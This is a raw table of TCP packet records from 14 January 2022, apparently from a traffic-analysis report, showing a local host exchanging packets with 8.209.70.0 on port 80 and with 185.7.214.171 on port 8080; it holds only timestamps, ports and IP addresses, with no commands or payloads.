Jan 14, 2022 21:05:08.505460024 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505479097 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505502939 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505511045 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505526066 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505547047 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505553961 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505569935 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505592108 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.505597115 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.505614996 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.508455038 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.521891117 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.521922112 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.521944046 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.521962881 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.521964073 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.522008896 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.543915033 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.543941975 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.543963909 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.543983936 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.543986082 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544054031 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544059038 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544084072 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544106960 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544118881 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544131994 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544154882 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544157982 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544178009 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544202089 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544205904 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544224977 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544248104 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544254065 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544266939 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544285059 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544301033 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544317961 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544336081 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544353008 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544375896 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544397116 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544399023 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544425011 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544447899 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544449091 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544476986 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544491053 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544498920 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544501066 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544523954 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544547081 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544559002 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544569969 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544594049 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544596910 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544616938 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544639111 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544642925 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544661045 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544683933 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544703960 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544717073 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544728041 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544728994 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544750929 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544774055 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544800043 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544809103 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544821978 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544836998 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544847965 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544871092 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544886112 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544891119 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544914961 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544938087 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544948101 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544959068 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.544969082 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.544986963 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.545008898 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.545025110 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.545031071 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.545053005 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.545064926 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.545109987 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.561556101 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.561600924 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.561664104 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.562443018 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562505960 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562544107 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562582970 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562597990 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.562622070 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562644958 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.562663078 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562705994 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562743902 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562747002 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.562783003 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562822104 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562849045 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.562858105 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562877893 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.562897921 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562937021 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.562952042 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.562978983 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563019037 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563055992 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563057899 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.563097000 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563112020 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.563138008 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563175917 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563191891 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.563215017 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563254118 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563271046 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.563293934 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563333988 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563349009 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.563373089 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563411951 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563451052 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563460112 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.563488007 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563509941 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.563528061 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563566923 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563596010 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.563606024 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563646078 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563667059 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.563687086 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563725948 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563744068 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.563767910 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563807011 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563844919 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563848019 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.563874006 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.563904047 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.583705902 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.583745003 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.583769083 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.583791971 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.583800077 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.583815098 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.583838940 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.583848000 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.583863020 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.583887100 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.583894968 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.583909035 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.583924055 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.583930969 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.583956003 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.583977938 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.583980083 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584002972 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584028006 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584034920 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584050894 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584060907 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584074974 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584090948 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584099054 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584121943 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584156036 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584160089 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584180117 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584203959 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584229946 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584253073 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584254980 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584278107 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584300041 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584301949 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584326029 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584352970 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584358931 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584378004 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584402084 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584404945 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584425926 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584450006 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584474087 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584490061 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584498882 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584525108 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584549904 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584553003 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584574938 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584598064 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584618092 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584621906 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584645033 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584669113 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584670067 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584692955 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584703922 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584716082 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584738970 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584741116 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584764957 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584789038 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584796906 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584813118 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584836006 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584845066 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584860086 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584882975 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.584892035 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.584937096 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602279902 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602319002 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602343082 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602365971 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602391005 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602406025 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602416992 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602440119 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602456093 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602462053 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602485895 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602494955 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602509975 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602525949 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602534056 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602559090 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602569103 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602583885 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602607965 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602612019 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602632046 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602654934 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602670908 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602679014 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602703094 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602706909 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602725983 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602750063 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602752924 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602772951 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602798939 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602806091 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602821112 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602844954 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602855921 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602868080 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602888107 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602893114 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602916002 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602937937 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602951050 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.602961063 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602983952 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.602984905 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.603008986 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.603027105 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.603034019 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.603050947 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:08.603085041 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.603111982 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.603583097 CET	49796	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:08.623297930 CET	80	49796	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.264679909 CET	49797	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.282218933 CET	80	49797	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.282412052 CET	49797	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.282627106 CET	49797	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.282649994 CET	49797	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.299837112 CET	80	49797	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.401887894 CET	80	49797	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.402225971 CET	49797	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.402276039 CET	49797	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.420291901 CET	80	49797	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.433590889 CET	49798	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.450856924 CET	80	49798	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.453406096 CET	49798	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.453461885 CET	49798	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.453470945 CET	49798	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.470726013 CET	80	49798	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.569818974 CET	80	49798	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.572922945 CET	49798	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.573260069 CET	49798	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.590533018 CET	80	49798	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.602725983 CET	49799	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.622369051 CET	80	49799	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.622514963 CET	49799	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.622617960 CET	49799	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.622637987 CET	49799	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.639938116 CET	80	49799	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.742317915 CET	80	49799	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.744718075 CET	49799	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.744771004 CET	49799	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.762021065 CET	80	49799	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.796765089 CET	49800	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.814022064 CET	80	49800	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.815073967 CET	49800	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.815463066 CET	49800	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.815500975 CET	49800	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.832634926 CET	80	49800	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.931370974 CET	80	49800	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:10.931449890 CET	49800	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.931703091 CET	49800	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:10.939150095 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:10.948945045 CET	80	49800	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:11.023591042 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.023792982 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.024619102 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.108078003 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.114813089 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.114845037 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.114870071 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.114892960 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.114914894 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.114928961 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.114944935 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.114968061 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.114976883 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.115031958 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.115037918 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.115062952 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.115086079 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.115103006 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.115138054 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.196300030 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196346045 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196386099 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196424961 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196465015 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196499109 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.196501970 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196541071 CET	8080	49801	185.7.214.171	192.168.2.5
